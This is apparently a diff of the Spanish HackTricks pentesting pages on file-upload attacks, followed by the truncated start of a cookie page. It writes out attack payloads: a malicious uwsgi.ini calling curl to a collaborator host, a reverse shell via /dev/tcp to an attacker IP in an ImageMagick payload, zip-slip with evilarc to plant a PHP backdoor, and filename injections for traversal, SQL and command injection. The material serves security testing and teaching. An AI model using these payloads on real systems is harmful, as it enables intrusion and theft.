* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
-### Otros trucos para comprobar
+### Otros Trucos para Verificar
-* Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (cambiar la extensión).
-* Encontrar una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar la puerta trasera.
+* Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
+* Encuentra una vulnerabilidad de **Inclusión Local de Archivos** para ejecutar el backdoor.
* **Posible divulgación de información**:
-1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
-2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
+1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
+2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
-4. Subir un archivo que no se pueda eliminar fácilmente, como **“…:.jpg”** en **NTFS**. (Windows)
-5. Subir un archivo en **Windows** con caracteres no válidos como `|<>*?”` en su nombre. (Windows)
-6. Subir un archivo en **Windows** utilizando **nombres** **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
-* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
+4. Sube un archivo que no pueda ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
+5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
+6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
+* Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
-### Trucos especiales de extensión
+### Trucos de extensiones especiales
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
-Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y se pueden **utilizar como un archivo PHP** (ejecutándolo con PHP o incluyéndolo dentro de un script...).
+Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...)
-La extensión `.inc` se utiliza a veces para archivos PHP que solo se utilizan para **importar archivos**, por lo que en algún momento alguien podría haber permitido **ejecutar esta extensión**.
+La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecutara**.
## **Jetty RCE**
-Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **los nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell!
+Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE porque **nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Por lo tanto, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y espera la shell!
 (3) (1) (1) (1).png>)
## **uWSGI RCE**
-Si puedes reemplazar el archivo de configuración `.ini` de un [**servidor uWSGI, puedes obtener RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De hecho, los archivos de configuración de uWSGI pueden incluir variables "mágicas", marcadores y operadores definidos con una sintaxis precisa. El operador '@' en particular se utiliza en forma de @(nombre de archivo) para incluir el contenido de un archivo. Se admiten muchos esquemas de uWSGI, incluido "exec", que es útil para leer la salida estándar de un proceso. Estos operadores se pueden utilizar para la ejecución remota de comandos o para escribir/leer archivos arbitrarios cuando se analiza un archivo de configuración .ini:
+Si puedes reemplazar el archivo de configuración `.ini` de un servidor [**uWSGI puedes obtener RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De hecho, los archivos de configuración de uWSGI pueden incluir “variables mágicas”, marcadores de posición y operadores definidos con una sintaxis precisa. El operador ‘@’ en particular se usa en la forma de @(nombre de archivo) para incluir el contenido de un archivo. Muchos esquemas de uWSGI son compatibles, incluyendo “exec” - útil para leer la salida estándar de un proceso. Estos operadores pueden ser armados para Ejecución de Comandos Remotos o Escritura/Lectura de Archivos Arbitrarios cuando se analiza un archivo de configuración .ini:
-Ejemplo de archivo `uwsgi.ini` malicioso:
+Ejemplo de archivo malicioso `uwsgi.ini`:
```ini
[uwsgi]
; read from a symbol
@@ -140,14 +142,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-Cuando se **analice** el archivo de **configuración**, se **ejecutará** la **carga útil**. Tenga en cuenta que para que se analice la configuración, el **proceso debe reiniciarse** (¿crash? ¿DoS?) o el archivo se **recargará automáticamente** (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).
+Cuando el archivo de **configuración** sea **analizado**, el **payload** será **ejecutado**. Ten en cuenta que para que la configuración sea analizada, el **proceso necesita ser reiniciado** (¿caída? ¿DoS?) o el archivo **recargado automáticamente** (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).
-**Nota importante:** El análisis del archivo de configuración de uWSGI es laxo. La carga útil anterior puede estar incrustada dentro de un archivo binario (por ejemplo, imagen, pdf, ...).
+**Nota Importante:** El análisis del archivo de configuración por uWSGI es laxo. El payload anterior puede estar incrustado dentro de un archivo binario (por ejemplo, imagen, pdf, ...).
-## **Truco de carga de archivos/SSRF con wget**
+## **Truco de Subida de Archivos/SSRF con wget**
-En algunas ocasiones, puede suceder que un servidor esté utilizando **`wget`** para **descargar archivos** y se pueda **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, **esta verificación se puede eludir**.\
-La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, `wget` trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**), pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
+En algunas ocasiones puedes encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta comprobación puede ser evitada.**\
+La **longitud máxima** de un **nombre de archivo** en **linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evitará** la **comprobación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -170,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
-Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names`, porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
+Tenga en cuenta que **otra opción** que podría estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación, pero luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names`, porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
#### Otros recursos
@@ -181,27 +183,27 @@ Ten en cuenta que **otra opción** que puedes estar considerando para evadir est
## Herramientas
-* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una poderosa herramienta diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Utiliza varias técnicas de recompensa por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando una evaluación exhaustiva de las aplicaciones web.
+* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una herramienta poderosa diseñada para asistir a Pentesters y cazadores de recompensas en pruebas de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
-## Desde la carga de archivos hasta otras vulnerabilidades
+## De la carga de archivos a otras vulnerabilidades
-* Establece el **nombre de archivo** como `../../../tmp/lol.png` e intenta lograr una **travesía de ruta**
-* Establece el **nombre de archivo** como `sleep(10)-- -.jpg` y es posible que puedas lograr una **inyección SQL**
-* Establece el **nombre de archivo** como `` para lograr un XSS
-* Establece el **nombre de archivo** como `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
+* Establezca **filename** a `../../../tmp/lol.png` e intente lograr un **path traversal**
+* Establezca **filename** a `sleep(10)-- -.jpg` y podría lograr una **SQL injection**
+* Establezca **filename** a `` para lograr un XSS
+* Establezca **filename** a `; sleep 10;` para probar alguna inyección de comandos (más trucos de inyección de comandos [aquí](../command-injection.md))
* [**XSS** en carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
-* [**XXE en carga de archivos svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
-* [**Redirección abierta** mediante la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
-* Prueba con **cargas útiles svg** diferentes de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
-* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-* Si puedes **indicar al servidor web que capture una imagen desde una URL**, podrías intentar abusar de una [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
+* [**XXE en carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
+* [**Open Redirect** mediante la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
+* Pruebe **diferentes payloads de svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
+* [Vulnerabilidad **ImageTrick** famosa](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
+* Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
* [**XXE y CORS** bypass con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* PDF especialmente diseñados para XSS: La [siguiente página muestra cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDF, puedes preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones proporcionadas.
-* Carga el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
-* Comprueba si hay algún **límite de tamaño** para cargar archivos
+* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos en PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar algunos PDF que ejecutarán JS arbitrario siguiendo las indicaciones dadas.
+* Cargue el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar si el servidor tiene algún **antivirus**
+* Verifique si hay algún **límite de tamaño** al cargar archivos
-Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Aquí hay una lista de las 10 principales cosas que puede lograr mediante la carga (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS almacenado / SSRF / XXE
@@ -209,48 +211,48 @@ Aquí tienes una lista de los 10 principales logros que puedes obtener mediante
4. **CSV**: Inyección de CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
-7. **HTML / JS** : Inyección de HTML / XSS / Redirección abierta
+7. **HTML / JS**: Inyección de HTML / XSS / Redirección abierta
8. **PNG / JPEG**: Ataque de inundación de píxeles (DoS)
-9. **ZIP**: RCE a través de LFI / DoS
-10. **PDF / PPTX**: SSRF / XXE Ciego
+9. **ZIP**: RCE vía LFI / DoS
+10. **PDF / PPTX**: SSRF / XXE ciego
#### Extensión de Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
-## Bytes mágicos de encabezado
+## Bytes de Encabezado Mágico
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
-Consulta [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para obtener otros tipos de archivos.
+Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
-### Carga automática de archivos Zip/Tar descomprimidos
+### Carga de Archivos Zip/Tar Descomprimidos Automáticamente
-Si puedes cargar un archivo ZIP que se va a descomprimir en el servidor, puedes hacer 2 cosas:
+Si puede cargar un ZIP que va a ser descomprimido dentro del servidor, puede hacer 2 cosas:
-#### Enlace simbólico
+#### Symlink
-Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:
+Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
-### Descomprimir en diferentes carpetas
+### Descompresión en diferentes carpetas
Los archivos descomprimidos se crearán en carpetas inesperadas.
-Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de niveles superiores, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.
+Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero lamentablemente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio seguro de carga abusando de la función de descompresión de la aplicación objetivo.
-Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
+Un exploit automatizado para crear este tipo de archivos se puede encontrar aquí: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
```python
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
-También puedes usar el **truco del symlink con evilarc**, si la bandera está en `/flag.txt` asegúrate de crear un **symlink a ese archivo** y **crear ese archivo en tu sistema** para que cuando llames a evilarc no **genere un error**.
+También puedes usar el **truco de symlink con evilarc**, si la bandera está en `/flag.txt` asegúrate de crear un **symlink a ese archivo** y **crear ese archivo en tu sistema** para que cuando llames a evilarc **no dé error**.
-Código en Python para crear un archivo zip malicioso:
+Algunas líneas de código en python para crear un zip malicioso:
```python
#!/usr/bin/python
import zipfile
@@ -270,7 +272,7 @@ create_zip()
```
Para lograr la ejecución remota de comandos, seguí los siguientes pasos:
-1. Crear una shell en PHP:
+1. Crear un shell PHP:
```php
```
-1. Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:
+1. Utilice "file spraying" y cree un archivo zip comprimido:
```
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
@@ -298,13 +300,15 @@ adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
-3. Utiliza un editor hexadecimal o vi y cambia "xxA" por "../", yo utilicé vi:
+3.Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
```
:set modifiable
:%s/xxA/..\//g
:x!
```
-¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo:
+¡Listo!
+
+Solo quedaba un paso: ¡Subir el archivo ZIP y dejar que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple shell de ejecución de comandos del sistema operativo en el sistema:
[](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
@@ -319,35 +323,37 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
-## Incrustando una Shell de PHP en una imagen PNG
+## Incrustación de PHP Shell en PNG
-La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evadir operaciones de redimensionamiento y re-muestreo: PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
+La razón principal para poner un web shell en el chunk IDAT es que tiene la capacidad de evitar operaciones de cambio de tamaño y re-muestreo - PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
-Lee este artículo: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+Lee este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
-## Archivos Políglotos
+## Archivos Políglotas
-Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como un archivo RAR. También existen archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.
+Los políglotas, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como RAR. También hay archivos que pueden ser tanto GIF y JS, tanto PPT y JS, etc.
-Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
+Los archivos políglotas se utilizan a menudo para eludir la protección basada en tipos de archivos. Muchas aplicaciones que permiten a los usuarios subir archivos solo permiten subidas de ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios suban archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
-Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece ser un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.
+Esto ayuda a subir un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte subir un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente todavía necesitarás una extensión válida y si la función de subida no lo permite, esto no te ayudará.
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md
index 77d659a9b..b96692910 100644
--- a/pentesting-web/hacking-with-cookies/README.md
+++ b/pentesting-web/hacking-with-cookies/README.md
@@ -2,19 +2,21 @@
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
\ | NotSet\*, Lax, None |
-| Precarga | \